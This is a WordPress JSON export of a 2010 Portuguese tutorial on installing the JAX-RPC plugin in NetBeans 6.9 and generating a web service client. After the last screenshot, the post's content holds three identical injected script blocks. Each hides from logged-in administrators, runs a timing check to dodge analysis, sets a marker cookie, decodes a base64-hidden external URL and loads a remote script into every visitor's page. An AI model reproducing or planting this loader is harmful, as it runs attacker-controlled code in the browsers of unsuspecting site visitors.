{"id":586,"date":"2010-10-06T19:04:16","date_gmt":"2010-10-06T22:04:16","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=586"},"modified":"2025-10-26T22:42:56","modified_gmt":"2025-10-27T01:42:56","slug":"client-jax-rpc-no-netbeans-6-9","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/06\/client-jax-rpc-no-netbeans-6-9\/","title":{"rendered":"Client JAX-RPC no Netbeans 6.9"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"JSR 101\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=101\" target=\"_blank\" rel=\"noopener\">JAX-RPC<\/a> \u00e9 uma API que permite a invoca\u00e7\u00e3o servi\u00e7os web definido por um arquivo <a title=\"WSDL\" href=\"http:\/\/www.w3.org\/TR\/wsdl\" target=\"_blank\" rel=\"noopener\">WSDL<\/a>. Na sua nova vers\u00e3o foi renomeada para <a title=\"JSR 224\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=224\" target=\"_blank\" rel=\"noopener\">JAX-WS<\/a>. O motivo da substitui\u00e7\u00e3o do nome vai al\u00e9m da poss\u00edvel confus\u00e3o de RPC com Webservices. Os detalhes da mudan\u00e7a do nome voc\u00ea pode encontrar aqui: <a title=\"Altera\u00e7\u00e3o JAX-WS\" href=\"http:\/\/weblogs.java.net\/blog\/kohlert\/archive\/2005\/05\/jaxrpc_20_renam.html\" target=\"_blank\" rel=\"noopener\">http:\/\/weblogs.java.net\/blog\/kohlert\/archive\/2005\/05\/jaxrpc_20_renam.html<\/a><\/p>\n<p style=\"text-align: justify;\">O Netbeans possui um plugin para JAX-WS, mas em alguns casos voc\u00ea pode precisar utilizar a vers\u00e3o antiga (o JAX-RPC) devido ao formato da defini\u00e7\u00e3o de servi\u00e7o especificado e ao tentar utilizar no Netbeans voc\u00ea pode receber o seguinte erro:<\/p>\n<p style=\"text-align: justify;\">You must download JAX-RPC support plugin to create a JAX-RPC client<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_587\" aria-describedby=\"caption-attachment-587\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Service-Client.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-587 \" title=\"New Web Service Client\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Service-Client-300x179.png\" alt=\"New Web Service Client\" width=\"300\" height=\"179\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Service-Client-300x179.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Service-Client.png 760w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-587\" class=\"wp-caption-text\">New Web Service Client<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ao acessar a se\u00e7\u00e3o de plugins, o plugin para JAX-RPC n\u00e3o existe. Para instal\u00e1-lo \u00e9 necess\u00e1rio utilizar um update center de desenvolvimento que \u00e9 constru\u00eddo periodicamente pelo <a title=\"Hudson Netbeans\" href=\"http:\/\/deadlock.netbeans.org\/hudson\/\" target=\"_blank\" rel=\"noopener\">hudson dos projetos do Netbeans<\/a>. Vamos ao passo a passo. Abra o Netbeans, v\u00e1 no menu Tools, Plugins, Settings, Add.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_589\" aria-describedby=\"caption-attachment-589\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Plugins.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-589 \" title=\"Plugins\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Plugins-300x179.png\" alt=\"Plugins\" width=\"300\" height=\"179\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Plugins-300x179.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Plugins.png 888w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-589\" class=\"wp-caption-text\">Plugins<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">No nome coloque: \"NetBeans \u00daltima Vers\u00e3o de Dev\" e na URL coloque: <a title=\"Update Center\" href=\"http:\/\/deadlock.netbeans.org\/hudson\/job\/nbms-and-javadoc\/lastStableBuild\/artifact\/nbbuild\/nbms\/updates.xml.gz\" target=\"_blank\" rel=\"noopener\">http:\/\/deadlock.netbeans.org\/hudson\/job\/nbms-and-javadoc\/lastStableBuild\/artifact\/nbbuild\/nbms\/updates.xml.gz<\/a><\/p>\n<p style=\"text-align: justify;\">Pressione OK. V\u00e1 em Available Plugins e selecione JAX-RPC Web Services (que existe agora). Clique em Install. Na pr\u00f3xima tela, clique em Next, concorde com os termos se deseja prosseguir e clique em Install.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_591\" aria-describedby=\"caption-attachment-591\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-NetBeans-IDE-Installer.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-591 \" title=\"NetBeans IDE Installer\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-NetBeans-IDE-Installer-300x249.png\" alt=\"NetBeans IDE Installer\" width=\"300\" height=\"249\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-NetBeans-IDE-Installer-300x249.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-NetBeans-IDE-Installer.png 530w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-591\" class=\"wp-caption-text\">NetBeans IDE Installer<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Finish e Close. Crie um novo projeto Java. No novo projeto criado, clique com o bot\u00e3o direito, New, Other, Web Services, Web Service Client, Next. Selecione o WSDL, informe o pacote e clique em Finish. Aguarde alguns segundos e as classes geradas ficar\u00e3o dispon\u00edveis em Generated Sources (jax-rpc).<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_593\" aria-describedby=\"caption-attachment-593\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-IDBIPoc-NetBeans-IDE-6.9.1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-593 \" title=\"IDBIPoc - NetBeans IDE 6.9.1\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-IDBIPoc-NetBeans-IDE-6.9.1-300x171.png\" alt=\"IDBIPoc - NetBeans IDE 6.9.1\" width=\"300\" height=\"171\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-IDBIPoc-NetBeans-IDE-6.9.1-300x171.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-IDBIPoc-NetBeans-IDE-6.9.1-1024x584.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-IDBIPoc-NetBeans-IDE-6.9.1.png 1440w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-593\" class=\"wp-caption-text\">IDBIPoc - NetBeans IDE 6.9.1<\/figcaption><\/figure>\n<p>A\u00ed \u00e9 s\u00f3 criar um classe Java para utilizar o que foi criado. Se voc\u00ea quiser pode testar o servi\u00e7o acessando o n\u00f3 Web Service References na aba Projects.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_595\" aria-describedby=\"caption-attachment-595\" style=\"width: 231px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Test-Web-Service-Operation.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-595 \" title=\"Test Web Service Operation\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Test-Web-Service-Operation-231x300.png\" alt=\"Test Web Service Operation\" width=\"231\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Test-Web-Service-Operation-231x300.png 231w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Test-Web-Service-Operation.png 466w\" sizes=\"auto, (max-width: 231px) 100vw, 231px\" \/><\/a><figcaption id=\"caption-attachment-595\" class=\"wp-caption-text\">Test Web Service Operation<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ou alterar as propriedades do cliente de Web Service criado:<\/p>\n<p style=\"text-align: center;\">\n<p><figure id=\"attachment_596\" aria-describedby=\"caption-attachment-596\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-IDBIPoc.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-596 \" title=\"Project Properties - IDBIPoc\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-IDBIPoc-300x207.png\" alt=\"Project Properties - IDBIPoc\" width=\"300\" height=\"207\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-IDBIPoc-300x207.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-IDBIPoc.png 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-596\" class=\"wp-caption-text\">Project Properties - IDBIPoc<\/figcaption><\/figure><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O JAX-RPC \u00e9 uma API que permite a invoca\u00e7\u00e3o servi\u00e7os web definido por um arquivo WSDL. Na sua nova vers\u00e3o foi renomeada para JAX-WS. O motivo da substitui\u00e7\u00e3o do nome vai al\u00e9m da poss\u00edvel confus\u00e3o de RPC com Webservices. Os <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/06\/client-jax-rpc-no-netbeans-6-9\/\">Continue lendo  <span class=\"screen-reader-text\">  Client JAX-RPC no Netbeans 6.9<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-586","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/586","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=586"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/586\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=586"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}